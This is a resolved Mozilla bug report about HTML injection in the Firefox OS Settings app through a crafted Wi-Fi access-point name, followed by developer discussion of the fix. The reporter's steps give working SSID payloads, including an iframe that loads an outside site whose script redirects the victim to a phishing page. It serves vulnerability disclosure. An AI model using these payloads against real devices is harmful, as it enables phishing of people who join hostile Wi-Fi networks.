1190137 - HTML injection on Settings app via Wi-Fi AP name

Status: RESOLVED FIXED

(Firefox OS Graveyard :: Gaia::Settings, defect)

Description

[Muneaki Nishimura]

Attachment: reproduced1.png

1. Prepare a device that Firefox OS 2.5.0.0-prelease is installed.
   I used my Flame with a firmware id 201507311030207.
2. Prepare a Wi-Fi access point that name is "<s>pwn<iframe src=/></iframe>".
3. Launch Setting app and try to connect the above Wi-Fi AP with wrong password.
4. While the device tries to connect, go back to the previous page, i.e.,Network & Connectivity setting menu list.
5. If the bug reproduced, you can see an iframe in the connecting status description of Wi-Fi button on the page. (see reproduced1.png)
6. After few minutes, the connection becomes fail. Then go to Wi-Fi menu page again. Then you can see the same iframe again on the "Failed connecting to Wi-Fi" error dialog. (see reproduced2.png)

Comment 1

[Muneaki Nishimura]

Attachment: reproduced2.png

Comment 2

[Daniel Veditz [:dveditz]]

Paul: what's a good rating for this? You can't inject script because CSP slaps it down. What malicious things can go in the frame?

Comment 3

[Muneaki Nishimura]

I tried to make an attack scenario using this bug.

At first an attacker prepares an open Wi-Fi spot that name is "<s><iframe src=http:a.csrf.jp>". A victim finds the spot and uses it since it's open. Then, the <iframe> in SSID is activated on the Setting app.
The page http://a.csrf.jp/ opened in the <iframe> is a malicious site that triggers top window navigation to his phishing site like this: <script> top.location = '/malicious.html'; </script>

While the victim connects to the spot, the malicious page is  shown on fullscreen _everytime_ when the victim opens Settings app.

Above demo site is working so you can test it if you have affected devices.

Comment 4

[Paul Theriault [:pauljt] (no longer reading bugmail)]

sec-high is correct. 

This looks like the same underlying issue as bug 1190038. 
https://github.com/mozilla-b2g/gaia/blob/master/apps/settings/locales/settings.en-US.properties#L58

Stas, will the fix for 1190038 address this bug as well?

Comment 5

[Staś Małolepszy :stas]

Yes, this looks like the same bug.  The iframe was not removed because it was a child of a text-level element (<s>) which we want to allow in translations.  Bug 1190038 fixed this.

Related to this bug 1190539 which will additionally escape any HTML in variables passed into translations, like ssids, bluetooth names and app names.

Comment 6

[Muneaki Nishimura]

I also think the root cause of this bug is same as bug 1190038 and the fix may protect against bad HTML injection with unexpected tags such as <iframe>. However, the fix for bug 1190038 still allows to be injected some white-listed tags e.g., <s> via AP name. Is it expected?
As far as I looked at similar bug 1190139, it was fixed by removing use of .innerHTML from the dialog showing connected BT device name. I think this bug should fix like bug 1190139.

Comment 7

[Zibi Braniecki [:zbraniecki][:gandalf]]

Muneaki: We're working on bug 1190539 to prevent (safe) HTML tags from being passed from the arguments.

We do allow for limited HTML for entity styling, but if the string comes from an argument (so, in your examples it was passed from the third-party) the HTML will be escaped.

Comment 8

[Muneaki Nishimura]

Thanks! It sounds good to me.

Comment 9

[Zibi Braniecki [:zbraniecki][:gandalf]]

This should not be reproduce-able anymore.

Comment 10

[Daniel Veditz [:dveditz]]

Bounty awarded for bug 1190038, this is really a dupe. Not marked that way for test/verification purposes?